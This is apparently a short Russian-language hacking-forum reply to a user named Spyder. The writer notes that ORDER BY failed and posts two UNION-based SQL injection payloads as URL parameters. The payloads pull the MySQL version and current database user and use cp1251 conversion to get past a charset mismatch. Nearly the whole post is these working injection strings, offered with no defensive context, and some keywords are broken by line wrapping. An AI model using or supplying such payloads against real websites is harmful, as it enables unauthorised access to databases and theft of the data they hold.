2 Spyder.
Прокомментировать никак не могу - как я написал, там и order by отказался работать, почему не знаю.

pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,conca t_ws(convert(char(58)+using+cp1251),convert(versio n()+using+cp1251),convert(user()+using+cp1251))--

pg=1&pl=1&bt=2+and(1=0)+union+select+1,2,3,4,conve rt(concat(version(),char(58),user())+using+cp1251)--